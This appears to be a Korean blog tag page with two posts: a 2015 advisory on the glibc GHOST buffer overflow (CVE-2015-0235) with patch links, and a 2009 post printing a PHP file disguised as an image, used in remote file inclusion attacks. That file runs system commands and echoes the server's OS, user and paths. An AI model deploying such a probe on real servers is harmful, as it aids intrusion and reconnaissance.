'gethostbyname'에 해당되는 글 2건

  1. 2015.01.28 리눅스 Ghost 취약점 보안 업데이트
  2. 2009.12.05 Remote Include PHP 소스
2015.01.28 22:27

리눅스 Ghost 취약점 보안 업데이트


□ 개요

 o 미국 US-CERT는 리눅스 GNU C 라이브러리(glibc)에서 임의코드를 실행할 수 있는 취약점(CVE-2015-0235)이 발견되었다고 발표

   ※ CVE-2015-0235는 해당 라이브러리의 gethostbyname( ) 함수 처리 과정에서 발생하는 버퍼오버플로우 취약점

   GNU C 라이브러리 : 리눅스 계열 운영체제에서 기본적으로 사용하는 소프트웨어

 

□ 취약점 내용

라이브러리에 존재하는 특정 함수(__nss_hostname_digits_dots( ))의 잘못된 메모리 사용으로 인해 오버플로우가 발생하여 프로그램의 실행 흐름 변경이 가능

    __nss_hostname_digits_dots( ) 함수 : 도메인 주소를 IP 주소로 변환할 때 사용하는 함수인 gethostbyname( )를 호출 시 내부적으로 호출되는 함수

 

□ 해당 시스템

 o 영향을 받는 시스템

  - glibc 2.2~2.17버전의 모든 리눅스 시스템

 

□ 해결 방안

 o 취약한 버전의 라이브러리를 사용하는 시스템은 상위 버전으로 업데이트

    ※ 실행파일에 취약한 버전의 라이브러리를 포함하여 컴파일 한 경우, 상위 버전의 라이브러리로 재컴파일 하여 설치 필요

 o 다음 참고사이트의 내용을 참조하여 보안업데이트 수행

  - CentOS [1]

  - Debian [2]

  - Redhat [3]

  - Ubuntu [4]

 

□ 기타 문의사항

 o 한국인터넷진흥원 인터넷침해대응센터국번없이 118

 

[참고사이트]

[1] http://lists.centos.org/pipermail/centos/2015-January/149413.html

[2] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=776391

[3] https://access.redhat.com/articles/1332213

[4] http://www.ubuntu.com/usn/usn-2485-1/


Trackback 0 Comment 0
2009.12.05 02:19

Remote Include PHP 소스

remote include에 쓰인 이미지 확장자로 된 php파일

 

01. <?
02.echo "ALBANIA<br>";
03.$alb = @php_uname();
04.$alb2 = system(uptime);
05.$alb3 = system(id);
06.$alb4 = @getcwd();
07.$alb5 = getenv("SERVER_SOFTWARE");
08.$alb6 = phpversion();
09.$alb7 = $_SERVER['SERVER_NAME'];
10.$alb8 = gethostbyname($SERVER_ADDR);
11.$alb9 = get_current_user();
12.$os = @PHP_OS;
13.echo "os: $os<br>";
14.echo "uname -a: $alb<br>";
15.echo "uptime: $alb2<br>";
16.echo "id: $alb3<br>";
17.echo "pwd: $alb4<br>";
18.echo "user: $alb9<br>";
19.echo "phpv: $alb6<br>";
20.echo "SoftWare: $alb5<br>";
21.echo "ServerName: $alb7<br>";
22.echo "ServerAddr: $alb8<br>";
23.echo "UNITED ALBANIANS ...<br>";
24.exit;
25.?>
 

Trackback 0 Comment 0